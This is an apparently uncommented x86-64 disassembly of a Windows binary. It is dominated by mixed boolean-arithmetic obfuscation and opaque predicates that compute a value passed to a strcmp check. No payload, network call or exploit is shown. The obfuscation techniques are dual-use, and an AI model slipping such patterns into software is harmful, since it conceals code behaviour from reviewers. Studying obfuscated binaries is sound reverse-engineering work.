movabs rax, 0xafb87d047a690cce
sub rdx, rax
sub rdx, rbx
movabs rax, 0x981dbf23761b5b67
add rdx, rax
movabs rbx, 0x47daa301bba16de4
add rdx, rbx
movabs rdi, 0xfbfe6026a71f84f
add rdx, rdi
sub rdx, rbx
sub rdx, rax
movabs rax, 0xca2a8bb5e1cf10dd
sub rdx, rax
movabs rbx, 0xefc1b4539419a59
add rdx, rbx
add rdx, rax
movabs rax, 0xcbc6ee4abce10c88
add rdx, rax
movabs rax, 0x6b050d2e9a00150e
sub rdx, rax
sub rdx, rbx
add rdx, rax
add rcx, rbp
mov rax, qword [rsp + 0x60]
sub rax, rcx
movabs rcx, 0x6d95d0c64454fb74
add rdx, rcx
movabs rbp, 0x692d56b035d387b9
add rdx, rbp
sub rcx, rdx
add rcx, rbp
movabs rdx, 0xf0ede52ccd8417d4
add rcx, rdx
movabs rbp, 0x2e0b9c18ba816f1f
mov rbx, rbp
add rcx, rbp
sub rdx, rcx
movabs rcx, 0xf04019fd958e07b1
add rdx, rcx
movabs rbp, 0x8ab26d44da32efc0
add rdx, rbp
sub rbp, rdx
sub rbp, rbx
movabs rcx, 0xb796a352f4baeef9
sub rbp, rcx
add rbp, rax
movabs rax, 0x646c5fe75997dda4
add rbp, rax
add rbp, rcx
movabs rax, 0x7582b0616d6cf69a
sub rbp, rax
movabs rcx, 0x72eda87b65302ec2
add rbp, rcx
add rbp, rax
movabs rax, 0x25d72e47f00e8857
add rbp, rax
movabs rdx, 0xc0f4f1e682895f9f
mov rcx, rdx
sub rcx, rbp
movabs rbp, 0xfe1e1957bf788984
add rcx, rbp
add rcx, rax
movabs rax, 0x639d048141343ac3
add rcx, rax
movabs rbp, 0x8b3070dc5a485ac2
sub rcx, rbp
sub rcx, rax
movabs rax, 0xed6f300aca17eea9
add rcx, rax
sub rcx, rdx
sub rcx, rax
movabs rbp, 0x492eb0dbc93ab200
mov rax, rbp
movabs rdx, 0xce3ef0c962167f03
sub rax, rdx
sub rax, rbp
movabs rbp, 0x15e83db5ccfce40f
sub rax, rbp
movabs rbx, 0x5d34e88106d23704
sub rax, rbx
add rax, rbp
add rax, rdx
movabs rdx, 0xaa3f89b5af726265
sub rax, rdx
movabs rbp, 0xe778a5dfc847675
add rax, rbp
add rax, rdx
movabs rdx, 0x958e17e19f24e3e9
add rax, rdx
movabs rdi, 0x496ff2a4c6e4a462
mov r8, rdi
sub rax, rdi
sub rax, rdx
movabs rdx, 0xbe8961c745449a5a
add rax, rdx
sub rax, rbp
sub rax, rdx
movabs rdx, 0xa75e6df4a895f5ac
add rax, rdx
add rax, rbx
movabs rbp, 0x381d9705a5bd79a4
add rax, rbp
sub rax, rdx
movabs rbx, 0x6d0fc0d5ddfb0e5a
sub rax, rbx
movabs rdx, 0xcb7e3e00da1fe5bf
sub rax, rdx
sub rax, rbp
add rax, rdx
movabs rdx, 0x335a2812ee9b3fb5
add rax, rdx
sub rcx, rax
movabs rax, 0x1ffca59c14932356
add rcx, rax
add rcx, rdx
sub rax, rcx
movabs rcx, 0xac4e0a3219939123
mov rbp, rcx
movabs rdx, 0xa9751dd57a2bdccc
add rcx, rdx
sub rdx, rcx
movzx ecx, word [rsp + 0x18a]
shl rcx, 3
lea rcx, [rcx + rcx*4]
movabs rsi, 0x3afd01a75227ee14
add rdx, rsi
sub rdx, rcx
sub rdx, rsi
add rdx, rbp
movabs rbp, 0xe97b423dfad8c00a
add rdx, rbp
sub rbp, rdx
movabs rcx, 0x3755774d5b92d70b
sub rbp, rcx
movabs rdx, 0xc835c52f21d7be04
sub rbp, rdx
add rbp, rcx
add rbp, rdx
movabs rcx, 0x9bf6d17c904c12fe
mov rdx, rcx
add rbp, rcx
movabs rdi, 0x601d5628e752617d
mov rcx, rdi
movabs rsi, 0x7eba5ab7e8509688
sub rcx, rsi
sub rcx, rdi
add rcx, rdx
movabs rdx, 0x2f9dba677a49e8d5
mov rdi, rdx
add rbp, rdx
sub rcx, rbp
movabs rdx, 0x557197b964bb26a5
add rax, rdx
movabs rbp, 0xd21aa8aa303747f3
sub rax, rbp
sub rax, rdx
movabs rdx, 0x5b99d077d04ba6e5
add rax, rdx
add rax, rbx
sub rax, rdx
add rax, rbp
movabs rdx, 0xe575697678794aa2
sub rax, rdx
movabs rbp, 0x7f650f1083013236
sub rax, rbp
movabs rbx, 0x8444c682ad57f058
sub rax, rbx
add rax, rbp
movabs rbp, 0xb9477f12753648f8
sub rax, rbp
add rax, rdx
add rax, rbp
movabs rdx, 0xc420c83910e03703
sub rax, rdx
add rax, r8
add rax, rdx
movabs rdx, 0xafd897a4b42305d4
add rax, rdx
movabs rbp, 0xfbf0adf52e11891e
add rax, rbp
add rax, rbx
sub rax, rbp
movabs rbp, 0x2cb869b451c780f1
add rax, rbp
sub rax, rdx
sub rax, rbp
add rcx, rdi
add rcx, rsi
movabs rdx, 0x13279d0ee3e8615c
sub rax, rdx
movabs rbp, 0xade2981e0a0cdf31
sub rax, rbp
add rax, rdx
movabs rdx, 0x6bd466f18133fc24
add rax, rdx
movabs rbx, 0x4678e9b55e6e57f1
sub rax, rbx
sub rax, rdx
add rax, rbp
movabs rdx, 0x7c418ae0681b42fe
add rax, rdx
movabs rbp, 0x3db02c4d05521176
add rax, rbp
sub rax, rdx
movabs rdx, 0x57f71e7d9fba5af5
sub rax, rdx
movabs rdi, 0xb4a82aac06ba4a87
sub rax, rdi
sub rax, rbp
add rax, rdi
movabs rbp, 0xf38d61335fee7f25
add rax, rbp
add rax, rbx
sub rax, rbp
movabs rbp, 0xb10e37b1a573af0c
add rax, rbp
movabs rbx, 0x8c44b33226d2aa80
sub rax, rbx
sub rax, rbp
movabs rbp, 0x107a10efa4700e0f
sub rax, rbp
movabs rdi, 0xfebb4004969644fb
sub rax, rdi
add rax, rbp
movabs rbp, 0x45e28e42f73452f1
sub rax, rbp
add rax, rbx
add rax, rbp
movabs rbp, 0x44c2014c0db630d4
sub rax, rbp
movabs rbx, 0xed8a58f186590c24
sub rax, rbx
sub rax, rcx
add rax, rbp
movabs rcx, 0x4dee6f1c538c7e0a
sub rax, rcx
add rax, rbx
add rax, rcx
movabs rcx, 0x46d8202bf3bae7a
add rax, rcx
movabs rbp, 0x7d69f82ccbd1e4d
add rax, rbp
sub rcx, rax
sub rcx, rdi
movabs rax, 0x9e867eed729be473
mov rbx, rax
add rcx, rax
add rcx, rbp
movabs rdi, 0x71c2e07b82de9c26
mov rax, rdi
movabs rbp, 0x61cf728ff56ae559
sub rax, rbp
sub rax, rdi
sub rcx, rbx
add rcx, rax
movabs rax, 0x61d2690a05d5c842
sub rcx, rax
add rcx, rbp
add rcx, rax
movabs rbp, 0x2415f5921c22bccd
mov rax, rbp
sub rax, rcx
sub rax, rbp
add rax, rdx
movabs rcx, 0x89394ad3f0af5494
add rax, rcx
sub rcx, rax
movabs rax, 0xe31be82dd49cb0e
add rcx, rax
sub rax, rcx
mov qword [rsp + 0x178], rax
mov rcx, qword [rsp + 0x178]
lea rdx, [0x14006c339]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
setne byte [rsp + 0x187]
mov eax, dword [0x1400c5670]
lea r10d, [rax - 1]
imul r10d, eax
mov r9d, r10d
not r9d
mov eax, r9d
and eax, 0x4b08131
mov ecx, r10d
and ecx, 0x51005802
or ecx, eax
xor ecx, 0x51005802
mov edx, r10d
xor edx, 0x55b0d933
and edx, r10d
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0xaa4f26cc
and edx, 0x55b0d933
or edx, eax
mov eax, edx
not eax
and eax, 0x63184214
and edx, 0x9ce7bdeb
or edx, eax
mov r8d, edx
xor r8d, 0x9ce7bdeb
mov ebp, edx
xor ebp, 0x63184214
mov eax, r10d
and eax, 0xdcf4df5b
mov ecx, r9d
and ecx, 0x230b20a4
or ecx, eax
xor ecx, 0x230b20a4
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x18156bde
and ecx, 0xe7ea9421
or ecx, eax
mov edi, ecx
xor edi, 0xe7ea9421
mov eax, ecx
xor eax, 0x18156bde
mov esi, r8d
and esi, 0x6b1a041
xor edx, 0x65a9e255
and edx, ebp
xor ecx, 0xe15b3460
mov ebx, esi
and ebx, edx
xor edx, esi
mov esi, ecx
and esi, eax
and ecx, edi
or edx, ebx
mov ebx, esi
and ebx, ecx
xor ecx, esi
or ecx, ebx
mov ebx, edx
not ebx
and ebx, ecx
not ecx
and ecx, edx
or ecx, ebx
mov edx, ebp
and edx, 0xfc16e8e9
and r8d, 0x3e91716
or r8d, edx
or ebp, edi
and edi, 0xfc16e8e9
and eax, 0x3e91716
or eax, edi
xor eax, r8d
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0xb51c02d7
and ebp, 0x4ae3fd28
or ebp, eax
mov edx, ebp
xor edx, 0x2220128
mov eax, ecx
not eax
xor ebp, 0xb51c02d7
mov ebx, eax
and ebx, 0x5cd1fc43
and ecx, 0xa32e03bc
or ecx, ebx
or eax, ebp
and ebp, 0x5cd1fc43
and edx, 0xa32e03bc
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe0d28ce4
and eax, 0x1f2d731b
or eax, ecx
mov ecx, eax
xor ecx, 0x1f2d731b
mov edx, eax
xor edx, 0xe01088e0
xor eax, 0xf611c8f8
and eax, ecx
and edx, 0xe93cbbe3
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov esi, edx
not esi
mov eax, esi
and eax, 0x9c3b67d0
and edx, 0x63c4982f
or edx, eax
xor edx, 0x8af823cc
xor esi, edx
and esi, edx
mov eax, r9d
and eax, 0xf553d251
mov ecx, r10d
and ecx, 0xaac2dae
or ecx, eax
mov edx, ecx
xor edx, 0xaac2dae
mov ebp, ecx
xor ebp, 0xf553d251
mov eax, ecx
xor eax, 0xbea7fd17
mov edi, eax
and edi, ebp
and eax, edx
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, eax
not edx
and edx, 0x5d376b5a
and eax, 0xa2c894a5
or eax, edx
and ebp, 0x16c3441c
xor ecx, 0xe390964d
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x147cddc5
and ecx, 0xeb83223a
or ecx, edx
xor ecx, 0xeb83223a
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov ebp, ecx
mov eax, ecx
xor eax, 0x2dd798fc
and eax, ecx
not ecx
and ecx, 0x8198a0
and ebp, 0x2d56005c
or ebp, ecx
mov ecx, ebp
xor ecx, 0x556000c
xor ebp, 0xd2a9ffa3
mov edx, eax
not edx
mov edi, ebp
and edi, 0x68a8cc50
and ecx, 0x55710ac
or ecx, edi
or ebp, edx
and edx, 0x68a8cc50
and eax, 0x975733af
or eax, edx
xor eax, ecx
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0xd2286703
and ebp, 0x2dd798fc
or ebp, eax
mov eax, ebp
not eax
and eax, 0xf8fe2af9
and ebp, 0x701d506
or ebp, eax
mov ecx, ebp
xor ecx, 0x6001404
xor ebp, 0xf8fe2af9
mov ebx, esi
not ebx
and ecx, 0x5e923494
mov eax, ebp
and eax, 0xa16dcb6b
or eax, ecx
xor eax, 0xa16dcb6b
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
mov edi, ebx
and edi, 0x2a0612d1
and esi, 0xd5f9ed2e
or esi, edi
xor esi, ebp
xor esi, 0x2a0612d1
and esi, ebp
or ebx, ebp
mov edx, ebx
not edx
mov ebp, esi
not ebp
mov edi, ebp
and edi, 0xd0803772
and esi, 0x2f7fc88d
or esi, edi
or ebp, ebx
and ebx, 0xd0803772
and edx, 0x2f7fc88d
or edx, ebx
xor edx, esi
not ebp
or ebp, edx
and eax, 0xb6c72b45
mov edi, ecx
and edi, 0x4938d4ba
or edi, eax
mov r8d, edi
xor r8d, 0x4938d4ba
mov eax, ebp
not eax
and eax, 0x8560aaf1
mov esi, ebp
and esi, 0x7a9f550e
or esi, eax
mov edx, esi
xor edx, 0x7a9f550e
mov eax, edi
xor eax, 0x378d289c
and eax, r8d
and ecx, 0x7eb5fc26
mov ebx, eax
and ebx, ecx
xor ecx, eax
mov eax, esi
xor eax, 0x42aa928
and eax, edx
and ebp, 0x7eb5fc26
or ecx, ebx
mov ebx, eax
and ebx, ebp
xor ebp, eax
or ebp, ebx
mov eax, ecx
not eax
and eax, 0x52b33dfe
and ecx, 0xad4cc201
or ecx, eax
mov eax, ebp
not eax
and eax, 0x52b33dfe
and ebp, 0xad4cc201
or ebp, eax
xor ebp, ecx
xor edi, 0xb6c72b45
xor esi, 0x8560aaf1
mov eax, edi
and eax, 0x3a8436f4
and r8d, 0xc57bc90b
or r8d, eax
or edi, esi
and esi, 0x3a8436f4
and edx, 0xc57bc90b
or edx, esi
xor edx, r8d
not edi
or edi, edx
mov eax, edi
not eax
and eax, 0xcef04b4b
and edi, 0x310fb4b4
or edi, eax
xor edi, 0x310fb4b4
mov eax, ebp
and eax, edi
xor edi, ebp
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x15818118
mov edx, edi
and edx, 0x40281425
or edx, ecx
xor edx, 0x40281425
mov ecx, edi
and ecx, 0xaa566ac2
or ecx, edx
mov edx, ecx
not edx
and edx, 0xaa566ac2
and ecx, 0x55a9953d
or ecx, edx
mov edx, ecx
not edx
and edx, 0x18143f49
and ecx, 0xe7ebc0b6
or ecx, edx
mov edx, ecx
xor edx, 0xc14a00a0
and edx, 0xc94e20a1
xor ecx, 0x2ea5e017
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb0c6d2f1
and ecx, 0x4f392d0e
or ecx, edx
mov ebx, ecx
xor ebx, 0x4f392d0e
and eax, 0x60d9b25d
and edi, 0x9f264da2
or edi, eax
mov eax, edi
xor eax, 0x9f264da2
xor edi, 0x40c09210
and edi, 0xdbc0d7b2
mov edx, eax
and edx, 0x243f284d
or edx, edi
xor edx, 0xed7108ec
and eax, 0x36b1df5e
or eax, edx
mov edx, eax
not edx
and edx, 0xeafabe5a
and eax, 0x150541a5
or eax, edx
mov edx, eax
xor edx, 0x150541a5
xor eax, 0xeafabe5a
mov ebp, ebx
xor ebp, eax
and ebp, ebx
xor ecx, 0xb0c6d2f1
and ecx, edx
and eax, ebx
or eax, ecx
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
xor ecx, 0x20729b43
and ecx, eax
not eax
and eax, 0x20729b43
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edi, ecx
not edi
mov eax, edi
and eax, 0x8b8264cc
mov edx, ecx
and edx, 0x747d9b33
or edx, eax
mov ebp, edx
xor ebp, 0x400c8022
xor edx, 0x800484
mov esi, edi
or esi, 0x509fcdf6
mov eax, esi
not eax
or edx, 0x2f003200
and edx, 0x3f913f94
and ebp, 0x400ec062
or ebp, edx
and esi, 0x3f913f94
and eax, 0x80600009
or eax, esi
xor eax, ebp
mov edx, eax
not edx
and edx, 0x7b4e8fc5
and eax, 0x84b1703a
or eax, edx
mov edx, eax
xor edx, 0x540a2904
xor eax, 0x29c14211
and eax, 0xa9e5d6d9
and edx, 0x561a2926
or edx, eax
mov eax, edx
xor eax, 0x54000100
and eax, 0x55811349
xor edx, 0xa864c490
and edx, 0xaa7eecb6
or edx, eax
mov ebx, edx
xor ebx, 0x55811349
and ebx, edx
mov eax, edi
and eax, 0xaa7eecb6
and ecx, 0x55811349
or ecx, eax
xor edi, ecx
and edi, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xf3e41c9f
and ebx, 0xc1be360
or ebx, ecx
mov r11d, ebx
mov ebp, edi
not ebp
mov edx, ebp
and edx, 0xbb479f3b
and edi, 0x44b860c4
or edi, edx
mov esi, edi
xor ebx, 0xf3e41c9f
mov edx, ebx
or edx, 0x8df9d0bb
mov ecx, edx
not ecx
or eax, 0x72062f44
and edx, 0x6a556028
and ecx, 0x10020f44
or ecx, edx
mov edx, eax
not edx
xor edi, 0xbb479f3b
and eax, 0x6a556028
and edx, 0x85a89093
or edx, eax
mov eax, edi
or eax, 0x8df9d0bb
xor edx, ecx
mov ecx, eax
not ecx
or ebp, 0x72062f44
and eax, 0x9a7edcf8
and ecx, 0x60002304
or ecx, eax
mov eax, ebp
not eax
and ebp, 0x9a7edcf8
and eax, 0x5810003
or eax, ebp
xor eax, ecx
mov ecx, edx
not ecx
and ecx, 0x287ca680
and edx, 0xd783597f
or edx, ecx
mov ecx, eax
not ecx
and ecx, 0x287ca680
and eax, 0xd783597f
or eax, ecx
xor r11d, 0x81a4160
xor eax, edx
mov ecx, ebx
and ecx, 0x4621a28f
and r11d, 0xb9de5d70
or r11d, ecx
mov r8d, dword [0x1400c566c]
xor esi, 0x984040
or ebx, edi
and edi, 0x4621a28f
and esi, 0xb9de5d70
or esi, edi
xor esi, r11d
not ebx
or ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xf66d0b24
and ebx, 0x992f4db
or ebx, ecx
mov ecx, ebx
xor ecx, 0x10f088
mov r11d, eax
not r11d
xor ebx, 0xf66d0b24
mov edx, r11d
and edx, 0x9af0573
and eax, 0xf650fa8c
or eax, edx
or r11d, ebx
and ebx, 0x9af0573
and ecx, 0xf650fa8c
or ecx, ebx
xor ecx, eax
not r11d
or r11d, ecx
mov eax, r11d
not eax
and eax, 0x55811349
and r11d, 0xaa7eecb6
or r11d, eax
mov eax, r9d
and eax, 0xe74c0905
mov ecx, r10d
and ecx, 0x18b3f6fa
or ecx, eax
mov edx, ecx
xor edx, 0x9024d0
xor ecx, 0xc5480000
and ecx, 0xdd6bd22a
and edx, 0x22942dd5
or edx, ecx
mov ecx, edx
xor ecx, 0x22942dd5
xor edx, 0xcd29c20a
and r9d, 0x3088209f
and r10d, 0xcf77df60
or r10d, r9d
mov eax, r10d
xor eax, 0xcf77df60
xor r10d, 0x3088209f
or r10d, eax
mov eax, r10d
not eax
and eax, 0x855a3222
and r10d, 0x7aa5cddd
or r10d, eax
mov eax, ecx
and eax, 0x104634e0
and edx, 0xefb9cb1f
or edx, eax
mov esi, edx
xor esi, 0xefb9cb1f
xor edx, 0xa0ffc026
and edx, esi
or ecx, 0xb0b9f4c6
mov edi, edx
not edi
mov eax, edi
and eax, 0xe7c4023a
and edx, 0x183bfdc5
or edx, eax
mov ebx, ecx
not ebx
or edi, ecx
and ecx, 0xe7c4023a
and ebx, 0x8020901
or ebx, ecx
mov eax, r10d
xor eax, 0x4a040919
xor ebx, edx
mov edx, r10d
xor edx, 0x855a3222
xor r10d, 0xca1c391b
and r10d, edx
and eax, 0x4f460b39
not edi
or edi, ebx
mov ebx, r10d
and ebx, eax
xor eax, r10d
or eax, ebx
mov ebx, edi
not ebx
and ebx, eax
not eax
and eax, edi
or eax, ebx
mov ebx, esi
and ebx, edx
xor esi, edx
or esi, ebx
mov edx, esi
not edx
and edx, 0x6c9979c0
and esi, 0x9366863f
or esi, edx
mov ecx, esi
xor ecx, 0x2220204
xor esi, 0x6c9979c0
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0xb55dbc3b
and eax, 0x4aa243c4
or eax, edx
or ebx, esi
and esi, 0xb55dbc3b
and ecx, 0x4aa243c4
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
mov edi, ebx
not edi
mov eax, edi
and eax, 0x11144097
mov edx, ebx
and edx, 0xeeebbf68
or edx, eax
mov eax, edx
xor eax, 0xeeebbf68
mov ebp, r11d
not ebp
and eax, ebp
xor edx, 0x11144097
and edx, r11d
or edx, eax
mov eax, edx
xor eax, ebp
and eax, edx
mov edx, ebp
and edx, 0x665b8a38
and r11d, 0x99a475c7
or r11d, edx
xor r11d, 0x665b8a38
or r11d, edi
mov edx, r11d
not edx
or ebp, ebx
mov ecx, ebp
not ecx
mov ebx, r11d
and ebx, 0x4ec1b08b
and edx, 0xb13e4f74
or edx, ebx
or r11d, ebp
and ebp, 0x4ec1b08b
and ecx, 0xb13e4f74
or ecx, ebp
xor ecx, edx
not r11d
or r11d, ecx
mov ecx, eax
not ecx
and ecx, r11d
mov ebp, r11d
not ebp
mov edx, eax
xor edx, ebp
and edx, eax
and ebp, eax
or ebp, ecx
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x32e7a96b
mov ecx, ebp
and ecx, 0xcd185694
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa355c253
and ecx, 0x5caa3dac
or ecx, edx
mov edx, ecx
xor edx, 0x4c499000
xor ecx, 0x91b26b38
and edx, 0xcc499338
mov ebx, ecx
and ebx, 0x33b66cc7
or ebx, edx
xor ebx, 0x275049f7
and ecx, 0xeb19dacf
or ecx, ebx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0xf2773d09
and ebp, 0xd88c2f6
or ebp, ebx
xor ebp, 0xe6911839
xor eax, ebp
and eax, ebp
mov ebp, eax
not ebp
mov ebx, ecx
or ebx, ebp
not ebx
and ecx, 0xe64b008f
and edx, 0x19b4ff70
or edx, ecx
and ebp, 0xe64b008f
and eax, 0x19b4ff70
or eax, ebp
xor eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xeb19dacf
and edx, eax
not eax
and eax, 0x40010a40
and ecx, 0xab18d08f
or ecx, eax
xor ecx, 0xab18d08f
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
xor eax, 0xc7d9f288
and eax, edx
not edx
and edx, 0xc7d9f288
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x38260d77
and eax, 0xc7d9f288
or eax, ecx
mov edi, eax
not edi
mov ebp, eax
xor ebp, 0x49a31b10
and ebp, edi
mov ecx, eax
and ecx, 0xb65ce4ef
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x49a31b10
and ecx, 0xb65ce4ef
or ecx, ebp
and eax, 0x76ee60fb
mov edx, edi
and edx, 0x89119f04
or edx, eax
xor edx, 0x89119f04
or edx, edi
mov ebp, edx
not ebp
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0xc2ca60fe
and ecx, 0x3d359f01
or ecx, ebx
or eax, edx
and edx, 0xc2ca60fe
and ebp, 0x3d359f01
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
xor ecx, 0x89edd153
and ecx, eax
or eax, 0x76122eac
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xafce4b4
and edx, 0x81011143
or edx, ebx
or eax, ebp
and ebp, 0xafce4b4
and ecx, 0xf5031b4b
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x76122eac
and eax, 0x89edd153
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x800c863c
and ecx, 0x7ff379c3
or ecx, eax
mov eax, ecx
xor eax, 0x8008800c
xor ecx, 0x27703083
and ecx, 0x277436b3
and eax, 0xd88bc94c
or eax, ecx
xor eax, 0xd88bc94c
setne r9b
sete dil
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl sil
mov r11d, esi
xor r11b, dil
mov eax, r11d
not al
and al, dil
mov r12d, esi
or r12b, dil
xor r12b, 1
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov eax, r12d
xor al, 1
mov ecx, eax
and cl, r12b
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
xor cl, sil
xor cl, 1
mov eax, r12d
and al, sil
xor r12b, sil
or r12b, al
xor r12b, 1
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov r10d, r12d
xor r10b, 1
mov eax, r11d
and al, sil
and r11b, dil
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor r11b, 1
mov eax, r11d
and al, r9b
xor r11b, r9b
or r11b, al
mov r8d, r11d
xor r8b, 1
and r9b, bl
and sil, dil
or sil, r9b
mov eax, ebx
xor al, dil
or bl, dil
xor bl, 1
or bl, al
xor sil, 1
mov eax, esi
xor al, bl
or sil, bl
xor sil, 1
or sil, al
mov edi, esi
xor dil, 1
mov ebx, edi
and bl, sil
mov ecx, ebx
xor cl, 1
mov eax, edi
xor al, cl
or cl, dil
xor cl, 1
or cl, al
mov eax, r8d
or al, r11b
mov ebp, eax
xor bpl, r8b
mov r9d, ecx
xor r9b, 1
mov r14d, ecx
or r14b, r9b
mov edx, r14d
xor dl, 1
or al, r11b
xor al, 1
xor bpl, 1
mov r15d, eax
and r15b, bpl
xor bpl, al
or bpl, r15b
mov eax, ebx
and al, dil
xor bl, dil
or bl, al
mov eax, ebx
and al, r14b
xor bl, 1
and bl, dl
or bl, al
xor r14b, sil
or dl, dil
xor dl, 1
or dl, r14b
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, ebp
xor al, 1
and al, dl
xor dl, 1
and dl, bpl
or dl, al
mov eax, r8d
and al, r11b
xor al, 1
mov ebx, r11d
xor bl, al
or al, r11b
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, r9b
and al, cl
or al, bl
xor r9b, r8b
or cl, r11b
xor cl, 1
or cl, r9b
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
xor al, dl
mov esi, eax
xor sil, 1
and sil, dl
mov ecx, esi
and cl, al
xor sil, al
or sil, cl
mov r9d, r12d
and r9b, r10b
mov eax, r12d
and al, r9b
mov ecx, r10d
or cl, r12b
xor r12b, r9b
or r12b, al
xor r12b, 1
mov eax, r12d
or al, cl
xor r12b, cl
xor r12b, 1
mov ecx, eax
xor cl, r12b
or r12b, al
xor r12b, 1
or r12b, cl
mov r14d, r12d
xor r14b, 1
mov ecx, esi
xor cl, 1
mov ebp, esi
or bpl, cl
mov ebx, ebp
xor bl, 1
mov edi, esi
and dil, cl
mov edx, edi
xor dl, 1
mov r11d, esi
xor r11b, dil
or dl, cl
xor dl, 1
or dl, r11b
mov eax, edx
xor al, 1
and al, bpl
and dl, bl
or dl, al
xor bpl, sil
or bl, cl
xor bl, 1
or bl, bpl
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov byte [rsp + 0x48], al
xor r9b, 1
or r9b, r10b
mov r8d, r9d
xor r8b, 1
mov r11d, edx
and r11b, al
mov eax, edx
and al, r11b
xor dl, r11b
or dl, al
mov eax, edx
xor al, 1
mov byte [rsp + 0x40], al
xor cl, sil
or cl, dil
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov esi, r12d
mov eax, r14d
or sil, r14b
mov edi, esi
xor dil, 1
mov r15d, r8d
or r15b, r9b
and r14b, r12b
mov ebx, r14d
and bl, al
mov r13d, r14d
xor r13b, al
or r13b, bl
mov ebx, r13d
xor bl, 1
and bl, dil
and r13b, sil
or r13b, bl
mov ebx, eax
or bl, dil
xor bl, 1
mov ebp, edi
xor bpl, al
mov r10d, eax
mov byte [rsp + 0x3c], al
or bl, bpl
mov eax, ebx
xor al, r13b
xor r13b, 1
or r13b, bl
mov ebx, r15d
xor bl, 1
xor al, 1
xor r13b, 1
or r13b, al
mov eax, r8d
or al, r15b
xor al, 1
and bl, r8b
and r15b, r9b
or r15b, bl
mov ebx, eax
and bl, r15b
xor r15b, al
or r15b, bl
mov ebx, r13d
xor bl, 1
and bl, r13b
xor bl, 1
mov eax, r13d
xor al, bl
or bl, r13b
mov r13d, ecx
xor r13b, 1
xor bl, 1
or bl, al
mov eax, ebx
and bl, r15b
xor r15b, 1
xor al, 1
and al, r15b
or bl, al
mov eax, r9d
and al, r8b
mov r15d, eax
and r15b, r9b
xor al, r9b
or al, r15b
mov r9d, eax
and r9b, r12b
xor al, 1
and al, r10b
or al, r9b
mov r9d, r12d
and r9b, r8b
xor r8b, r12b
or r8b, r9b
xor r8b, 1
mov r9d, eax
and r9b, r8b
xor r8b, al
or r8b, r9b
mov eax, r8d
xor al, bl
xor bl, 1
or bl, r8b
mov r8d, eax
xor r8b, bl
or bl, al
xor bl, 1
or bl, r8b
mov eax, edx
mov r10b, byte [rsp + 0x40]
or al, r10b
mov r9d, eax
xor r9b, 1
mov r8d, r13d
or r8b, cl
mov r15d, edx
or r15b, al
and r9b, dl
and al, r10b
or al, r9b
mov r9d, r15d
xor r9b, al
xor al, 1
or al, r15b
mov r15d, r8d
xor r15b, 1
xor r9b, 1
xor al, 1
or al, r9b
mov r9d, r13d
xor r9b, r8b
and r9b, r13b
and r15b, cl
and r8b, r13b
or r8b, r15b
mov r15d, r9d
and r15b, r8b
xor r8b, r9b
or r8b, r15b
mov r9d, r8d
xor r9b, 1
or r9b, al
xor al, 1
or al, r8b
mov r8d, eax
xor r8b, r9b
or al, r9b
xor al, 1
or al, r8b
and r13b, dl
or dl, cl
and cl, r10b
xor dl, 1
or cl, r13b
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, ecx
xor r8b, 1
mov edx, eax
xor dl, 1
and r8b, dl
or dl, cl
and cl, al
or cl, r8b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
mov edx, ecx
or dl, bl
xor dl, 1
or dl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, edx
or al, bl
xor al, 1
xor bl, dl
mov ecx, eax
